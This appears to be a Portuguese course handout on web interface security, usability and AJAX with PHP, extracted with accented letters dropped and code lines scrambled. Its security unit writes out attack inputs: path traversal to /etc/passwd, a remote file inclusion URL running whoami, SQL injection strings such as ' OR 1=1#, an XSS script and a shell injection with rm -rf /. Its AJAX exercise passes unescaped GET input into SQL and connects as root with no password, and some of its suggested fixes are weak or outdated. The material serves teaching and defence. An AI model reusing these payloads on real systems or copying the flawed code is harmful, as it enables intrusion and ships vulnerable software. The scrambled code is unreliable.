Académique Documents
Professionnel Documents
Culture Documents
UNIDADE 2 2.1
UNIDADE 3 3.1 3.2 3.3 3.4 3.5 3.6 3.7 3.8 3.9
CONCEITOS ............................................................................................................................................................... 19 O QUE AJAX? .......................................................................................................................................................... 19 OS QUATRO PRINCPIOS DO AJAX: ................................................................................................................................. 21 COMO COMEAR? ...................................................................................................................................................... 23 COMO TESTAR O NAVEGADOR? ..................................................................................................................................... 23 REQUISITANDO EM DIVERSOS BROWSERS:........................................................................................................................ 25 ENVIANDO A REQUISIO - PARMETROS DO ENVIO DA REQUISIO ..................................................................................... 27 VERIFICANDO OS DADOS RETORNADOS PELO SERVIDOR: ..................................................................................................... 29 RETORNOS EM TEXTO SIMPLES: ..................................................................................................................................... 29 ESTRUTURA DE UM DOCUMENTO XML .................................................................................................. 37
MONTANDO UM DOCUMENTO XML COM DOM E PHP. ................................................................................................... 39 MONTANDO UM XML EM PHP DE FORMA TEXTUAL ......................................................................................................... 43 RETORNO DO CONTEDO EM XML PARA O AJAX .............................................................................................................. 44 REQUISIES DINMICAS EM AJAX AO PHP .......................................................................................... 49
UNIDADE 5 5.1
CRIANDO UM DOCUMENTO XML TEXTUAL COM CONEXO AO BANCO DE DADOS .................................................................... 49 MANIPULANDO O DOM EM JAVASCRIPT PARA RECURSOS COM AJAX ................................................... 58
UNIDADE 6 6.1 6.2 6.3 6.4 6.5 6.6 6.7 6.8 6.9 6.10 6.11
ACESSO AOS ESTILOS DOS COMPONENTES DO DOCUMENTO................................................................................................. 58 BIBLIOTECAS LIVRES: A FACILIDADE NA MANIPULAO DE DOCUMENTOS................................................................................ 62 CRIANDO UMA JANELA ARRASTVEL ............................................................................................................................... 65 CRIANDO UMA VORE DE MENUS ............................................................................................................................... 69 CRIANDO EFEITO LIGHTBOX ....................................................................................................................................... 74 ORDENANDO TABELAS ................................................................................................................................................. 75 AMPLINADO IMAGENS ................................................................................................................................................. 77 CRIANDO AVALIAES ................................................................................................................................................. 79 MENUS EM ABAS ....................................................................................................................................................... 81 EXIBINDO DICAS EM LINKS ............................................................................................................................................ 85 EXIBINDO UM CALENDRIO .......................................................................................................................................... 88 DREAMWEAVER E O AJAX ...................................................................................................................... 91
ABORDAGEM SIMPLES SOBRE OS COMPONENTES DO SPRY ................................................................................................. 91 EFEITOS SPRY COM SPRY EFFECTS................................................................................................................................ 95 TRABALHO FINAL: .................................................................................................................................. 99
UNIDADE 8 8.1
Unidade 1 -
Interfaces - Segurana
Quando pensamos desenvolvimento de interfaces para Web inevitvel observarmos questes de segurana e desempenho. Neste sentido so cada vez mais crescentes as tentativas de padronizao e definies de formatao de linguagem, processos e protocolos de comunicao. Por isso, o termo Segurana da Informao que est relacionada com proteo de um conjunto de dados, no sentido de preservar o valor que possuem, ganha cada vez mais destaque. Os trs principais atributos que so levados em considerao para a anlise e orientao, alm do planejamento e implantao da segurana so: CIA (Confidentiality, Integrity and Availability) -Confidencialidade, Integridade e Disponibilidade. Outros atributos importantes so a irretratabilidade e a autenticidade. Graas a evoluo do comrcio eletrnico e das redes sociais com a Internet 2.0, a privacidade tambm uma grande preocupao. Os atributos bsicos (segundo os padres internacionais) so os seguintes:
Confidencialidade - o atributo que limita o acesso a informao to somente s somente das pessoas/sistemas que possuem autorizao. Integridade o atributo que garante que a informao manipulada mantenha todas as caractersticas originais estabelecidas pelo proprietrio da informao, incluindo controle de mudanas e garantia do seu ciclo de vida (nascimento, manuteno e destruio). Disponibilidade - propriedade que garante que a informao esteja sempre disponvel para o uso legtimo, ou seja, por aqueles usurios autorizados pelo proprietrio da informao.
Existem algumas metodologias de segurana que so utilizadas na tentativa de frear as constantes invases que muitos sistemas vem sofrendo, so elas:
Mecanismos de criptografia. Permitem a transformao reversvel da informao de forma a torn-la ininteligvel a terceiros. Utiliza-se para tal, algoritmos determinados e uma chave
secreta para, a partir de um conjunto de dados no criptografados, produzir uma seqncia de dados criptografados. A operao inversa a decifrao.
Assinatura digital. Um conjunto de dados criptografados, associados a um documento do qual so funo, garantindo a integridade e autenticidade do documento associado, mas no a sua confidencialidade. Mecanismos de garantia da integridade da informao. Usando funes de "Hashing" ou de checagem, consistindo na adio. Mecanismos de controle de acesso. Palavras-chave, sistemas biomtricos, firewalls, cartes inteligentes. Mecanismos de certificao. Atesta a validade de um documento. Integridade. Medida em que um servio/informao genuno, isto , est protegido contra a personificao por intrusos. Honeypot: o nome dado a um software, cuja funo detectar ou de impedir a ao de um cracker, de um spammer, ou de qualquer agente externo estranho ao sistema, enganandoo, fazendo-o pensar que esteja de fato explorando uma vulnerabilidade daquele sistema. Protocolos seguros: uso de protocolos que garantem um grau de segurana e usam alguns dos mecanismos citados aqui
Como register_globals est ON, as variveis id e cidade tornaram-se variveis globais. <?php echo $id; // 4 echo $cidade; // poa ?>
O problema que isso permite que variveis sejam injetadas via url. Um script com grande vulnerabilidade poderia ser um como esse: <?php if(Validausuario($usuario, $senha)) { $logado = 1; } // se tiver valor 1 como se fosse autenticado if($logado == 1) { // se estiver logado ele v a pagina admin.php. include("admin.php"); } ?> No entanto se fosse digitado no browser o endereo: teste.php?logado=1. O script entenderia que a pessoa est logada, pois $logado se tornou uma varivel global com o valor 1. Uma forma mais simples de corrigir o problema seria assim: <?php if(Validausuario($usuario, $senha)) { $logado = 1; } else { $logado = 0;
} ?> Desse modo, at mesmo se o $logado for injetado via url, ele se tornaria 0. Com register_globals OFF, variveis que so passadas como parmetro via url, no se tornam variveis globais. A forma certa de utilizar o simples uso das chamadas variveis super globais, tais como $_GET, $_POST, $_SERVER, etc. O uso das super globais sempre recomendado por razes de segurana e tambm por deixar o cdigo mais limpo e seguro. Pois atreves de seu uso saberemos quais so as variveis que esto sendo envidas pelos mtodos GET/POST e quais no esto.
Vejamos o seguinte exemplo: <?php //aqui ficaria o cabealho $page = $_GET['page']; include($page); //aqui ficaria o rodap ?>
Deste modo, possvel colocar contedos especficos em arquivos separados. Exemplo: about.php, download.php, e o link para essas paginas seriam algo como: index.php?page=about, index.php?page=downloads.php. No entanto nosso cdigo ficaria vulnervel. No caso de a requisio a nossa pgina ser realizada da seguinte formada: index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd
Dessa forma seu arquivo de senhas fica vulnervel para ser visualizado, ou qualquer outro arquivo que esta rodando sob o PHP (HTTPD ou Apache normalmente), pode ser lido por qualquer usurio. O outro problema se o parmetro 'URL Wrapper', tambm localizado no arquivo php.ini, estiver marcado como ON (que o valor por padro), com isso possvel fazer um upload de um arquivo para outro Web Server.
Neste caso, ao inserirmos na barra de enderos o seguinte valor: index.php?page=http://outrosite.com.br/hax0r.txt&cmd=whoami poderemos ento rodar qualquer comando em seu servidor ou poderemos mostrar detalhes da conexo com o banco de dados, ou seja, basicamente rodar qualquer cdigo PHP. A funo include recupera um arquivo de um servidor, e ento executa isso como um cdigo PHP, algo que obviamente muito perigoso. Um mtodo seguro de incluir arquivos seria como o abaixo:
<?php //cabealho do site $page = $_GET['page']; //para ter certeza que $page alfanumrico. if(eregi("^[a-z0-9\-_\.]+$", $page, $regs)) { $dir = "includes/"; //pode ser branco $ext = ".php"; //.php, .html, .txt, whatever if(file_exists($dir . $page . $ext)) { include($dir . $page . $ext); //ou outro tipo de extenso se no for necessariamente um arquivo .php
} else { echo '404 - Not Found'; //ou algo similar } } else { echo 'Contedo do site'; /rodap do site } ?> Ento o link: index.php?page=about (assumiria about.php dentro do diretrio 'includes').
Se o arquivo que ser includo no contm cdigo PHP e possui apenas texto, ento o correto a utilizao da funo readfile() ao invs de include()/require(), pois ambos iro executar qualquer cdigo PHP que o arquivo includo contiver, no entanto a funo readfile() no o far. Usar um diretrio separado para incluir arquivos uma tima for de evitar urls como: "includes/http://blah.com/lala.txt" que neste caso no ir funcionar. No realmente necessrio esta prtica se utilizarmos a funo eregi() como filtro nas urls, no entanto recomendvel no deix-los na raiz. comum encontrarmos arquivos que sero includos com a extenso '.inc'. Esta prtica perigosa, pois arquivos com a extenso 'inc' no so interpretados como arquivos com um cdigo PHP pelo Web Server e seu contedo ser visualizado pelo navegador como um texto. Esta prtica expe muitas vezes arquivos, importantes como os arquivos de configurao que podem conter senhas de banco de dados ou outros dados considerados sigilosos. Arquivos que sero includos devem ter a extenso .php, como por exemplo: config.inc.php. Obviamente a manuteno do inc claramente um definio utilizada para um melhor controle dos arquivos que esto sendo inseridos
Vamos nos deter em um simples sistema de login, que valida usurios do banco dados: <?php $username = $_POST['username']; $password = $_POST['password']; $query = "SELECT * password='$password'"; FROM `users` WHERE username='$username' AND
$result = mysql_query($query); if(mysql_num_rows($result) > 0) { $admin = 1; } else { $admin = 0; } if($admin == 1) { // blah blah, restricted content here. } ?>
Observamos ento, que o que cdigo acima realiza pegar o username e o password recebidos do formulrio e checar no banco de dados para conferir se os mesmos so vlidos. Vamos considerar como um usurio vlido, "admin", por exemplo. Se ns colocarmos no campo de login da pagina: admin'# Vejamos o resultado se reescrevermos a SQL com as variveis expandidas: <?php $query = "SELECT password='xxx'"; ?> * FROM `users` WHERE username='admin'#' AND
O problema aqui que as aspas simples no esto sendo escapadas adequadamente. No MySQL, o smbolo (#) considerado como um comentrio, como as barras duplas (//) no PHP ou
C++, tudo aps o (#) passa a ser ignorado pois passa a ser um comentrio, ignorando a verificao da senha. Obviamente isto s ir funcionar se voc tiver um usurio vlido. No entanto, voc no precisa necessariamente utilizar um usurio vlido pode-se realizar o teste usando: ' OR 1=1# O resultado disto na converso da SQL com as variveis expandidas:: <?php $query = "SELECT password='xxx'"; ?> * FROM `users` WHERE username='' OR 1=1#' AND
Isso ir selecionar todos os usurios do banco de dados. Se a funo de login apenas contar o numero de linhas retornadas apos a query como a do exemplo. Ento provavelmente ir assumir os dados do primeiro usurio retornado. Que pode ser possivelmente um admin. H vrias coisas perigosas que podem ser realizadas com SQL injection. O problema principal so as aspas simples serem interpretadas como parte da query, que obviamente no o que desejamos. O precisa ser feito sempre ter certeza que elas sero escapadas, de forma que ' se tornaria \' (\ usado quando se escapa uma string). O melhor modo para fazer isto usar a funo nativa do PHP mysql_escape_string, como o exemplo abaixo:
<?php $username = mysql_escape_string($_POST['username']); $password = mysql_escape_string($_POST['password']); $query = "SELECT * password='$password'"; //etc etc ?> FROM `users` WHERE username='$username' AND
Agora se ns tentarmos entrar com o campo username contendo admin'# aconteceria o seguinte:
10
<?php $query = "SELECT password='xxx'"; ?> * FROM `users` WHERE username='admin\'#' AND
As aspas simples so escapadas com sucesso e a query no est mais vulnervel. Se voc sabe que uma determinada varivel ir ter o valor de inteiro, ento o melhor a ser feito : <?php $offset = (int)$_GET['offset']; $query = "SELECT * FROM `cakes` LIMIT 20 OFFSET '$offset'"; ?>
Ento s um valor numrico pode ser passado deste modo, se um texto for enviado o valor da varivel $offset ser 0. Praticamente tudo precisa ser escapado antes de ser enviado ao banco de dados. Os programadores tendem a esquecer de coisas que no esto vindos das variveis GET/POST, como o HTTP_REFERER ou HTTP_USER_AGENT, estes podem ser facilmente modificados para conter uma SQL injection que deve ser escapado antes de ser colocado em uma query. Nota: Para voc tirar as barras que foram includas para escapar, quando for mostrar os dados para o usurio use stripslashes(). Para evitar barras desnecessrias:
<?php $article = mysql_fetch_array($fnord); echo $article['title']; // Badger\'s Parade echo stripslashes($article['title']); // Badger's Parade ?>
11
Outra falha comum esquecer a checagem do login em determinadas partes do cdigo, como pginas internas que so visualizadas aps o login. Vejamos este exemplo: postnews.php:
<?php if($_SERVER['REQUEST_METHOD'] == 'POST') { header("Location: news.php"); exit; } // Post News: if(!UserLoggedIn()) { echo "Erro, Voc no est logado"; die; } // html do formulrio ?>
Se um usurio no autenticado fosse a essa pagina, ento um erro iria aparecer. Se, no entanto um valor vindo do campo POST fosse enviado, seria possvel ter acesso ao news.php sem estar autenticado. muito fcil de esquecer-se de proteger pedaos especficos de cdigos, especialmente quando usurios logados e no logados tem acesso mesma pagina e iro ver contedos diferentes, como tambm existem paginas que apenas quem est logado pode ter acesso. Sempre se lembre de proteger qualquer parte do cdigo com checagens de login antes de executar o resto do cdigo.
12
Em uma busca mal sucedida exibiria isto; "Sua busca por <script>alert("hello");</script> no encontrou resultados " Esse Javascript seria interpretado pelo navegador e uma alerta seria exibido. Enquanto esse exemplo pode parecer relativamente inofensivo, possvel colocar coisas que iro pegar dados de cookies, podendo at roubar sesses. Os dados devem ser checados antes de serem interpretados sempre, como no caso de SQL injection, em XSS tambm, existem dois mtodos para fazer isso: . A funo strip_tags(); Ir remover todas as tags HTML de uma string; . A funo htmlspecialchars(); Que ir converter caracteres especiais do HTML para um tipo que no poder ser interpretado no browser como funo do HTML e sim texto.
<?php echo " Sua busca por resultados"; //converte echo " Sua busca resultados"; //remove ?> ".htmlspecialchars($_GET['q'])." no encontrou por ".strip_tags($_GET['q'])." no encontrou
O correto que nenhum valor vindo de um usurio deve ser executado sem uma devida checagem antes.
Exitem alguns sites que permitem atravs de funes especficas que seus usurios vejam o cdigo fonte de determinadas pginas. Normalmente um link chamado viewsource.php?file=about.php ou algo do gnero. Esta funcionalidade apesar de ser bem interessante, geralmente acaba deixando o site vulnervel para que se possa ver qualquer cdigo fonte de um arquivo no servidor. Algo que certamente no desejado, pois certos arquivos podem conter senhas de bancos de dados etc.
<?php // script vulnervel if($file == 'config.php') { die("Voc no pode visualizar este arquivo"); } ?> O problema com isto que voc pode fazer o seguinte viewsource.php?file=./config.php e isso ir checar com os caracteres adicionais ./.
O melhor jeito de fazer isso : <?php // agora sim if(stristr($file, "config.php")) { die("Voc no pode visualizar este arquivo "); } ?> Sendo que a funo stristr(), ir exibir o contedo da string $file a partir do trecho config.php, eliminando assim os caracteres adicionais.
14
Comandos shells so outro exemplo de falha de vulnerabilidade. No PHP executar comandos shell fcil, pois existem varias funes para isso, como system(), exec(), popen(), backticks, passthru, etc. De forma padro no devemos utilizar qualquer valor vindo de um usurio para executar como um comando shell: <?php $text = $_GET['text']; $banner = `banner $text`; ?>
Se algum colocar: x; rm; -rf; /; isso causaria muitos problemas.. Voc pode usar a funo escapeshellcmd(); para se proteger de dados perigosos vindos de usurios. Est funo escapa qualquer caractere em uma string que possa ser utilizado para enganar um comando shell para executar comandos arbitrrios. E tambm aconselhvel usar alguma regex para ter certeza. O ideal no utilizar valores de um usurio em comandos shell.
15
Interfaces - Apresentao
O termo usabilidade na Informtica usado para definir a facilidade com que as pessoas podem utilizar um sistema a fim de realizar uma tarefa especfica e importante. A usabilidade pode tambm se referir aos mtodos de mensurao da usabilidade deste mesmo sistema. A usabilidade est diretamente ligada ao dilogo na interface e a capacidade do software em permitir que o usurio alcance suas metas de interao com o sistema. Ser de fcil aprendizagem, permitir uma utilizao eficiente e apresentar poucos erros, so os aspectos fundamentais para a percepo da boa usabilidade por parte do usurio. Mas a usabilidade pode ainda estar relacionada com a facilidade de ser memorizada e ao nvel de satisfao do usurio. A necessidade de entender as necessidades dos usurios no ambiente virtual facilita a compreenso do contedo disponibilizado, fazendo-o auto-suficientes para navegar pelos diversos contedos. At quem tem dificuldade motora ou problemas de navegao por falta de conhecimento tcnico poder alcanar o que deseja o produtor da informao, se os processos de usabilidade forem respeitados, deixando o usurio da pgina web mais vontade, mais independentes.
16
17
sempre indicado que se use cores padres do sistema operacional. Cores fortes, como vermelho, devem ser usadas apenas em situaes que devem chamar a ateno do usurio. O software a ser utilizado deve ter atributos (ergonmicos e de funcionalidade) que propiciem ou mesmo incentivem o desenvolvimento de posturas autnomas de aprendizado. preciso identificar que atributos so estes. O j tradicional e conhecido conceito de interface amigvel deve ser revisto a partir de tais hipteses. As hipteses construdas na dimenso pedaggica podem agora ser analisadas da perspectiva tcnica. A primeira hiptese afirma que a tarefa que o usurio vai realizar deve ser prioritria na definio da interface. J a segunda hiptese, sustenta que o conhecimento das caractersticas tcnicas do hardware e do software deve ocorrer na medida em que o uso do equipamento progride, ou seja, na medida em que a necessidade desse conhecimento se impe ao sujeito que aprende. No mbito do projeto de interfaces tal hiptese est relacionada com o princpio geral, pelo qual, deve-se minimizar a carga de conhecimentos externos ao domnio da realizao da tarefa, necessrios operao do ambiente. A anlise da terceira hiptese na abrangncia das caractersticas tcnicas da ferramenta no to simples. Esta hiptese fixa que o aprendizado autnomo pressupe relaes de cooperao entre os aprendizes. Ora, a nvel tcnico a implementao de sistemas que permitam o trabalho cooperativo entre vrios usurios tem, por excelncia, sido buscada com a tecnologia de redes de computadores, com os sistemas que permitem o compartilhamento de tarefas como a construo distribuda de base de dados (por exemplo).
18
Interfaces - Desempenho
Quando pensamos no desenvolvimento de interfaces para WeB, no podemos deixar de pensar em questes de performance. Mesmo com o aumento constante da velocidade da difuso da banda larga, a Internet ainda possui um volume significativo de usurios que ainda possuem conexes de baixa performance. Alem disso, o uso cada vez mais comum dos meios digitais para comercio eletrnico, tem elevado o grau de importncia dado a performance. Neste mbito, apenas alguns segundos podem ser cruciais para a definio da concretizao ou no de um volume maior de vendas. Existem vrias tecnologias que se popularizaram para este tipo de aplicao, dentre elas podemos citar .net, php, jsp, javascript, XML, mas cada uma delas tem sua participao no desenvolvimento de sistemas para web. A combinao de linguagens mais popular a chamada Ajax, da qual veremos mais detalhes nas prximas unidades.
19
Como sabemos devido ao Javascript ser uma linguagem Client Side no possvel realizar a leitura de um arquivo texto comum pelo Javascript, pelo menos de forma que este reflita as informaes e comportamentos retornados pelo servidor, desta maneira ficamos apegados uma forma de poder executar um arquivo dinmico do outro lado, sem que este seja exibido, ou sequer acessado diretamente pelo cliente. A forma que estes dados sero retornados ser em XML ou atravs de uma String que ser tratada por ns no Javascript. Exemplos simples de aplicaes com Ajax, so simples formulrios web que no necessitam ser recarregados para buscarem determinadas informaes do servidor, como o caso de o usurio selecionar um estado e logo aps aparecem as opes de seleo de cidades do respectivo estado selecionado no processo anterior. Desta forma ganhamos tempo de navegao e satisfao do usurio que est navegando em nosso site. Veja abaixo alguns outros exemplos prticos: Carrinho de compras: utilizando-se da manipulao em DOM o usurio pode arrastar e soltar produtos diretamente dentro do carrinho, sem a necessidade de esperar por inmeras requisies da pagina ao servidor. Formulrios com grande nmero de campos: possibilidade de selecionar os campos que sero preenchidos e estes j auto formularem os dados disponveis em outros elementos do formulrio, sem o recarregamento da pgina. Auto completar: recurso j disponvel em aplicativos que so executados no desktop tambm pode ser implementado em um site da internet, sugerindo palavras conforme os caracteres que o usurio digita no teclado em determinado campo do formulrio.
20
Quando a sesso do usurio iniciada no servidor, o site simplesmente carrega uma interface com o que foi retornado, sendo que qualquer outra interao do usurio ser processada no lado do servidor, e novamente o site ser recarregado para que estas sejam atualizadas (exemplo clssico de comercio eletrnico). J em uma aplicao AJAX a parte lgica da operao movida para o navegador (lado do cliente), como mostrado abaixo:
21
Uma aplicao AJAX bem desenvolvida elimina diversas etapas de requisies ao servidor, deixando a aplicao agir de forma mais inteligente, e ganhando-se assim um considervel tempo de navegao no site. Veja o grfico abaixo:
Portanto, vamos a partir de agora abordar um novo conceito no processo de requisio de dados, e dividir melhor as tarefas, bem vindo ao AJAX.
22
O exemplo acima se executado ir retornar um erro dizendo que o vetor no possui a posio solicitada, e que no possvel executar a funo substring no elemento desejado.
23
Caso quisssemos executar este mesmo processo de forma que caso algo de errado seja retornado um erro coerente para o usurio poderamos usar o TRY and CATCH. Veja a atualizao do cdigo abaixo: var s; var a = new Array("ma", "banana") try{ s = a[3].substring(0,4); }catch(e){ s = Ocorreu um erro no script!; } document.write(s);
O TRY and CATCH um teste seqencial que sempre retorna um valor e que visa tratar um erro que possa interromper a execuo do script de forma grosseira. A sintaxe dada da seguinte maneira: try { bloco com cdigo normal mas que pode gerar erros } catch(exceo) { bloco com cdigo capaz de fazer a recuperao dos erros } Ou em pseudocdigo: tentar { bloco com cdigo normal mas que pode gerar erros } retorna(exceo) { bloco com cdigo capaz de fazer a recuperao dos erros }
NOTA: Apesar de estas instrues no fazerem parte do padro ECMAScript, elas so suportadas por todos os browsers importantes e so de grande utilidade para a construo de cdigo robusto. Em qual circunstncia ser usado o TRY and CATCH?
24
A acessibilidade ao XML varia de navegador para navegador, sendo que se tentarmos acess-lo de uma forma no disponvel no navegador do usurio uma srie de erros ser retornada.
Onde: XMLHTTP: Objeto Javascript que torna possvel a comunicao assncrona com o servidor, sem a necessidade de recarregara pgina por completo. Este objeto fazer parte da especificao DOM nvel 3. Veja um exemplo da funo abaixo: function criaxmlhttp(){ try{ xmlhttp = new XMLHttpRequest(); }catch(e){ try{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e1){ try{ xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }catch(e2){ xmlhttp = false; document.write("Navegador no da suporte a Ajax!"); } } }
25
} Com esta funo iremos ao longo do curso prosseguir com a consulta assncrona de dados no servidor, sendo que como podemos analisar em ultimo caso retornado um erro informado que o navegador do usurio no compatvel com AJAX.
26
Onde: Objeto: objeto XmlHTTP gerado pela funo anteriormente vista. Mtodo: GET ou POST. Assncrona: valor booleano no qual TRUE representa que a conexo assncrona, e necessita de um retorno dado pelo servidor, e FALSE caso contrrio. Vejamos ento como ficar a nossa funo juntamente de alguns outros mtodos essenciais no Ajax: function acessa(elemento,valor){ criaxmlhttp(); xmlhttp.open("GET",arquivo01.php,true); xmlhttp.send(null); } Como podemos observar, primeiramente chamada a funo criaxmlhttp(), a qual responsvel por criar um objeto xmlhttp no qual logo aps utilizamos em conjunto com o mtodo OPEN. A funo acima demonstra a conexo a um arquivo em PHP chamado arquivo01.php. Logo aps chamado o mtodo send o qual podemos retornar algum tipo de valor para o servidor, mas neste caso simplesmente retornamos como NULL significando assim que no h mais nada a ser realizado no processo.
27
28
Observe que neste caso s nos interessa o estado de leitura 4, ou seja, estamos executando determinada ao somente quando o servidor tiver retornado por completo os dados do documento dinmico e sua execuo estiver sido completada do outro lado. Laboratrio: Tendo em vista o que foi ensinado at o momento j temos idia de como so analisadas as requisies em Ajax de uma forma macro. Elabore um script aproveitando as funes vistas anteriormente de forma que seja solicitada a execuo de um script dinmico em no servidor e enquanto este no estiver completamente carregado seja exibida em uma DIV a mensagem: Aguarde: carregando...
29
Quando tratamos de dados em formato texto temos um mtodo chamado responseText onde ficam armazenados todos os dados que foram retornados do servidor no momento de execuo do script solicitado. Crie ento uma nova funo a qual chamaremos de monta(), ficando ela como mostrado abaixo:
Desta forma deveremos simplesmente chamar esta funo dentro da nossa j implementada funo acessa(), ficando a mesma disponibilizada da seguinte forma: function acessa(){ criaxmlhttp(); xmlhttp.open("GET","arquivo01.php,true); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4){ monta(); else document.getElementById(CONTEUDO).innerHTML "Carregando..."; } =
30
xmlhttp.send(null); }
ATENO: nunca se esquea de finalizar a funo acessa() com o mtodo xmlhttp.send, pois caso contrrio o servidor fica aguardando uma finalizao da conexo assncrona e no retorna os dados para o browser. DICA: da mesma maneira que voc solicita a execuo de um arquivo ao servidor, voc pode passar para eles variveis que sero recebidas do outro lado pelo mtodo que voc as enviou, veja o exemplo: xmlhttp.open(GET,arquivo01.php?id_pessoa=+15,true);
S no se esquea de setar o mtodo correto acima para que o script interprete e receba as variveis enviadas pelo Javascript no momento de execuo. Exemplo: Utilizando um pouco mais de manipulao de elementos em DOM, realize o seguinte exerccio: Monte um documento em HTML que possua dois componentes do tipo SELECT em um formulrio, sendo que no primeiro sero listados alguns estados brasileiros e no outro ao selecionar-se o estado sero apresentadas as respectivas cidades deste estado, conforme mostrado na imagem abaixo:
Soluo: Para resolver este exerccio voc necessitar de 4 arquivos: cidades.php: arquivo onde ficar o formulrio HTML. ajax01.js: Java script que ser responsvel pela execuo assncrona do arquivo dinmico no servidor e recuperao dos dados para o cliente.
31
ajax01.php: arquivo dinmico que ser executado pelo Ajax no servidor. conexo.php: arquivo simples em php que simplesmente far a conexo com o banco de dados. Primeiro crie as tabelas no banco de dados usando a seguinte query: CREATE TABLE IF NOT EXISTS estados ( id_estado int(10) unsigned NOT NULL auto_increment, sigla char(2) , nome varchar(50) , PRIMARY KEY (id_estado) ); INSERT INTO estados VALUES("1", "RS", "Rio Grande do Sul"); INSERT INTO estados VALUES("2", "SC", "Santa Catarina"); INSERT INTO estados VALUES("4", "SP", "So Paulo"); INSERT INTO estados VALUES("5", "RJ", "Rio de Janeiro"); CREATE TABLE IF NOT EXISTS cidades ( id_cidade int(10) unsigned NOT NULL auto_increment, id_estado int(10) unsigned , nome varchar(100) , PRIMARY KEY (id_cidade) ); INSERT INTO cidades VALUES("1", "1", "Porto Alegre"); INSERT INTO cidades VALUES("2", "1", "Alvorada"); INSERT INTO cidades VALUES("3", "1", "Viamo"); INSERT INTO cidades VALUES("4", "2", "Sombrio"); INSERT INTO cidades VALUES("5", "2", "So Joo do Sul"); INSERT INTO cidades VALUES("6", "4", "So Paulo"); INSERT INTO cidades VALUES("7", "5", "Rio de Janeiro");
Agora que possumos os dados que sero acessados no banco de dados, criamos o arquivo de conexo com o banco: CONEXAO.PHP
32
<?php mysql_connect('localhost','root','') or die(mysql_error()); mysql_select_db('alfamidia'); ?> A seguir o arquivo CIDADES.PHP o qual ser a interface para o usurio: <?php include('includes/conexao.php'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <script src="ajax01.js" type="text/javascript"> </script> <title>Exercicio Ajax</title> </head> <body> <form id="form1" name="form1" method="post" action=""> <table width="400" border="0" cellspacing="2" cellpadding="2"> <tr> <td colspan="2">Formulário:</td> </tr> <tr> <td width="55">Estado:</td> <td width="331"> <select name="estado" id="estado" onchange="acessa('cidades',this.value);" > <option value="00">Selecione</option> <?php $sql = "select * from estados order by nome"; $rs = mysql_query($sql) or die(mysql_error());
33
$total = mysql_num_rows($rs); for($x = 0; $x < $total; $x++) { $id_estado = mysql_result($rs, $x, 'id_estado'); $nome = mysql_result($rs, $x, 'nome'); ?> <option value="<?php echo $id_estado; ?>"><?php echo $nome; ?></option> <?php } ?> </select> </td> </tr> <tr> <td>Cidade:</td> <td> <select name="cidades" id="cidades"> </select> </td> </tr> </table> </form> </body> </html>
Agora que possumos o documento que ser apresentado ao clientes, criaremos as duas ultimas camadas restantes. O processo de leitura em Ajax consiste em solicitarmos atravs de uma funo em Java script que um arquivo em php seja executado no servidor, iremos ento atravs dessa execuo enviarmos um valor (id_estado) para o servidor e o mesmo executar uma query no banco de dados retornando as cidades respectivas do estado selecionado. AJAX01.PHP <?php include('conexao.php');
34
$id_estado = $_GET["id_estado"]; $sql = "select * from cidades where id_estado = $id_estado"; $rs = mysql_query($sql) or die(mysql_error()); $total = mysql_num_rows($rs); $resultado = ''; for($x = 0; $x < $total; $x++){ $resultado .= utf8_encode(mysql_result($rs, $x, 'nome')) . ','; } echo $resultado; ?> Observe que devido a codificao de caracteres recomendvel converter a string enviada para utf8 antes de prosseguir com a operao. Por fim, iremos montar o arquivo em Java script que realizar a requisio ao servidor: AJAX01.JS function criaxmlhttp(){ try{ xmlhttp = new XMLHttpRequest(); }catch(e){ try{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e1){ try{ xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }catch(e2){ xmlhttp = false; document.write("Navegador no da suporte a Ajax!"); } } } }
35
function acessa(elemento,valor){ criaxmlhttp(); xmlhttp.open("GET","ajax01.php?id_estado="+valor,true); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4){ monta(elemento); }else{ document.getElementById(elemento).innerHTML ="Carregando..."; } } xmlhttp.send(null); } function monta(elemento){ var dados = xmlhttp.responseText; campo = document.getElementById(elemento); campo.options.length = 0; var dados_vet = dados.split(','); for(i = 0; i < dados_vet.length-1; i++){ campo.options[i] = new Option(dados_vet[i]); } } Devemos neste caso apenas dar uma ateno especial a funo monta(), a qual foi modificada para manipular via DOM as propriedades do componente SELECT do formulrio que montamos. De qualquer forma a manipulao por texto a mais simples e mais usada por Ajax atualmente, sendo que devemos ter domnio e dar a devida importncia a manipulao de elementos do documento via DOM. Laboratrio:
36
1. Crie dois selects: O primeiro deve conter uma lista de tipos de filme que seja carregada a partir de um banco de dados. Ao clicar duas vezes sobre o tipos de filme o mesmo deve ser deslocado para o select 2. 2. Crie um select com uma lista de 3 pginas que ao ser alterado mudar o contedo de uma div para a pgina montada com algum parmetro. 3. Monte uma caixa de texto que pesquise o que for digitado e mostre o que for encontrado em uma tabela em uma div logo abaixo(como um auto-completar) 4. Crie uma lista de categorias de produtos que exiba em uma textarea a lista dos produtos desta categoria.
Dentre o uso do Ajax, temos como acompanhamento a utilizao de uma tecnologia j bem difundida no ambiente web e no desenvolvimento de software, o qual se resume a simplicidade e a eficcia entre a compatibilidade de outras diversas tecnologias do mercado, o XML (eXtensible Markup Language). O XML consiste em um arquivo parecido com o HTML, porem ao invs de possuir tags com formatao, possui dados. A sua organizao mais rgida e imposta por padres globais, isso se justifica ao fato de o XML ser utilizado seguidamente por dispositivos de baixo poder de armazenamento e processamento (celulares, pdas, palmtops, etc), o que os impede de realizar o debug do cdigo como ocorre nos computadores domsticos por exemplo. A estrutura de um documento XML e baseada em TAGS, sendo que possumos algumas regras bsicas para a criao de um documento XML consistente, veja o exemplo abaixo:
37
<?xml version="1.0" encoding="iso-8859-1"?> <municpios> <cidades> <cidade> <nome>Porto Alegre</nome> </cidade> <cidade> <nome>Viamo</nome> </cidade> </cidades> </municpios>
